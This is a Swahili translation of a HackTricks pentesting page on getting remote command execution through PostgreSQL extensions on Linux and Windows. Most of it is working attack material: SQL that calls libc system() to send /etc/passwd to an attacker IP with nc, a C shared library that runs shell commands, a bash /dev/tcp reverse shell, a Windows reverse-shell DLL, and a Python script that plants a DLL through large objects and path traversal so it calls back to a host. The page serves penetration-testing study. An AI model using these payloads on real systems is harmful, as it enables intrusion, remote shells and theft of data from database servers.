15 KiB
RCE na Vipengele vya PostgreSQL
Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na htARTE (HackTricks AWS Red Team Expert)!
- Je, unafanya kazi katika kampuni ya usalama wa mtandao? Je, ungependa kuona kampuni yako ikionekana katika HackTricks? Au ungependa kupata ufikiaji wa toleo jipya zaidi la PEASS au kupakua HackTricks kwa muundo wa PDF? Angalia MPANGO WA KUJIUNGA!
- Gundua The PEASS Family, mkusanyiko wetu wa kipekee wa NFTs
- Pata swag rasmi ya PEASS & HackTricks
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au nifuate kwenye Twitter 🐦@carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye repo ya hacktricks na repo ya hacktricks-cloud.
Vipengele vya PostgreSQL
PostgreSQL imeendelezwa na uwezo wa kuongeza vipengele kama sehemu muhimu, kuruhusu kuunganisha vipengele kama kama vile kazi, waendeshaji, au aina za ziada kama kama vile zilijengwa kwenye programu.
Kuanzia toleo la 8.1 na kuendelea, kuna mahitaji maalum yanayowekwa kwa maktaba za vipengele: lazima zikusanywe na kichwa maalum. Bila hii, PostgreSQL haitazitekeleza, ikisaidia matumizi ya vipengele vinavyolingana na pengine salama.
Pia, kumbuka kwamba iwapo hujui jinsi ya kupakia faili kwa kudhuru PostgreSQL unapaswa kusoma chapisho hili.
RCE katika Linux
Kwa maelezo zaidi angalia: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/
Utekelezaji wa amri za mfumo kutoka kwa PostgreSQL toleo la 8.1 na toleo la awali ni mchakato ambao umeelezwa wazi na ni rahisi. Inawezekana kutumia hii: Moduli ya Metasploit.
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
Andika faili ya binary kutoka kwa base64
Ili kuandika faili ya binary katika postgres unaweza kuhitaji kutumia base64, hii itakuwa na manufaa kwa jambo hilo:
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;
IF fh <= 2 THEN
RETURN 1;
END IF;
SELECT decode(s, 'base64') INTO w;
i := 0;
LOOP
EXIT WHEN i >= octet_length(w);
SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;
IF rs < 0 THEN
RETURN 2;
END IF;
i := i + 1;
END LOOP;
SELECT close(fh) INTO rs;
RETURN 0;
END;
$$ LANGUAGE 'plpgsql';
Hata hivyo, wakati jaribio lilifanywa kwenye toleo kubwa kosa lifuatalo lilionyeshwa:
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
Kosa hili limeelezewa katika hati ya PostgreSQL:
Ili kuhakikisha kuwa faili ya kitu iliyopakuliwa kwa kudumu haijapakiwa kwenye seva isiyolingana, PostgreSQL inachunguza kuwa faili ina "block ya uchawi" na maudhui sahihi. Hii inaruhusu seva kugundua tofauti wazi, kama vile nambari iliyokompiliwa kwa toleo kuu tofauti ya PostgreSQL. Block ya uchawi inahitajika kuanzia PostgreSQL 8.2. Ili kuongeza block ya uchawi, andika hii kwenye moja (na moja tu) ya faili za chanzo za moduli, baada ya kuingiza kichwa cha fmgr.h:
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
Tangu toleo la PostgreSQL 8.2, mchakato wa mtu anayeshambulia mfumo umefanywa kuwa mgumu zaidi. Mshambuliaji anahitajika kutumia maktaba ambayo tayari ipo kwenye mfumo au kupakia maktaba ya desturi. Maktaba hii ya desturi lazima ichapishwe kulingana na toleo kuu linalolingana la PostgreSQL na lazima iwe na "block ya uchawi" maalum. Hatua hii inaongeza sana ugumu wa kushambulia mifumo ya PostgreSQL, kwani inahitaji ufahamu wa kina wa muundo na utangamano wa toleo la mfumo.
Chapisha maktaba
Pata toleo la PostgreSQL kwa kutumia:
SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
Kwa ajili ya utangamano, ni muhimu kwamba toleo kuu zinafanana. Kwa hiyo, kuchapisha maktaba na toleo lolote ndani ya mfululizo wa 9.6.x itahakikisha kuunganishwa kwa mafanikio.
Kuweka toleo hilo katika mfumo wako:
apt install postgresql postgresql-server-dev-9.6
Na kisha kusanya maktaba:
//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}
Kisha pakia maktaba iliyokusanywa na tekeleza amri zifuatazo:
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes
Unaweza kupata maktaba iliyopangwa mapema kwa toleo kadhaa tofauti za PostgreSQL na hata unaweza kuautomatisha mchakato huu (ikiwa una ufikiaji wa PostgreSQL) na:
{% embed url="https://github.com/Dionach/pgexec" %}
RCE katika Windows
DLL ifuatayo inachukua kama kuingiza jina la binary na idadi ya mara unayotaka kuitekeleza na kuitekeleza:
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);
/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/
int instances = PG_GETARG_INT32(1);
for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}
Unaweza kupata DLL iliyokompiliwa katika zip hii:
{% file src="../../../.gitbook/assets/pgsql_exec.zip" %}
Unaweza kuonyesha kwa DLL hii ambayo faili ya binary itekelezwe na idadi ya mara itekelezwe, katika mfano huu itatekeleza calc.exe
mara 2:
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);
Katika hapa unaweza kupata reverse-shell ifuatayo:
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS
BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;
char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);
WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);
struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));
server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);
WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);
memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;
CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);
return TRUE;
}
#pragma warning(pop) /* re-enable 4996 */
/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(add_one);
Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);
PG_RETURN_INT32(arg + 1);
}
Tazama jinsi katika kesi hii msimbo mbaya uko ndani ya kazi ya DllMain. Hii inamaanisha kuwa katika kesi hii sio lazima kutekeleza kazi iliyopakiwa katika postgresql, tu kupakia DLL kutatekeleza kabisa kifaa cha kuingia nyuma:
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
RCE katika toleo jipya la Prostgres
Katika toleo jipya la PostgreSQL, vizuizi vimeanzishwa ambapo superuser
amekatazwa kupakia faili za maktaba zinazoshirikishwa isipokuwa kutoka kwenye saraka maalum, kama vile C:\Program Files\PostgreSQL\11\lib
kwenye Windows au /var/lib/postgresql/11/lib
kwenye mifumo ya *nix. Saraka hizi zime lindwa dhidi ya shughuli za kuandika kwa kutumia akaunti za NETWORK_SERVICE au postgres.
Licha ya vizuizi hivi, ni wawezekano kwa mtumiaji aliye na ruhusa ya superuser
kwenye hifadhidata kuandika faili za binary kwenye mfumo wa faili kwa kutumia "vitu vikubwa" (large objects). Uwezo huu unajumuisha kuandika ndani ya saraka ya C:\Program Files\PostgreSQL\11\data
, ambayo ni muhimu kwa shughuli za hifadhidata kama vile kusasisha au kuunda meza.
Tatizo kubwa linatokea kutokana na amri ya CREATE FUNCTION
, ambayo inaruhusu kuvuka saraka na kuingia kwenye saraka ya data. Kwa hivyo, mtu aliye na ruhusa anaweza kutumia kuvuka hii kuandika faili ya maktaba inayoshirikishwa kwenye saraka ya data na kisha kuipakia. Shambulio hili linawezesha mtu kutekeleza nambari yoyote, kufikia utekelezaji wa nambari ya asili kwenye mfumo.
Mchakato wa Shambulio
Kwanza kabisa, unahitaji kutumia vitu vikubwa kuweka dll. Unaweza kuona jinsi ya kufanya hivyo hapa:
{% content-ref url="big-binary-files-upload-postgresql.md" %} big-binary-files-upload-postgresql.md {% endcontent-ref %}
Baada ya kupakia kifaa cha nyongeza (kikiwa na jina la poc.dll kwa mfano huu) kwenye saraka ya data, unaweza kukiweka kwa kutumia:
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);
Note kwamba hauhitaji kuongeza kifungu cha .dll
kwa sababu kazi ya kuunda itaongeza yenyewe.
Kwa habari zaidi soma uchapishaji halisi hapa.
Katika uchapishaji huo hii ilikuwa nambari iliyotumiwa kuunda kifaa cha postgres (ili kujifunza jinsi ya kutekeleza kifaa cha postgres soma toleo lolote la awali).
Katika ukurasa huo huo exploit ya kiotomatiki ya mbinu hii ilipewa:
#!/usr/bin/env python3
import sys
if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print(" drop function connect_back(text, integer);")
Marejeo
- https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/
- https://www.exploit-db.com/papers/13084
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
- Je, unafanya kazi katika kampuni ya usalama wa mtandao? Je, ungependa kuona kampuni yako ikionekana katika HackTricks? Au ungependa kupata ufikiaji wa toleo jipya zaidi la PEASS au kupakua HackTricks kwa muundo wa PDF? Angalia MPANGO WA KUJIUNGA!
- Gundua Familia ya PEASS, mkusanyiko wetu wa kipekee wa NFTs
- Pata swag rasmi ya PEASS & HackTricks
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram](https://t.me/peass) au nifuate kwenye Twitter 🐦@carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwenye repo ya hacktricks na hacktricks-cloud.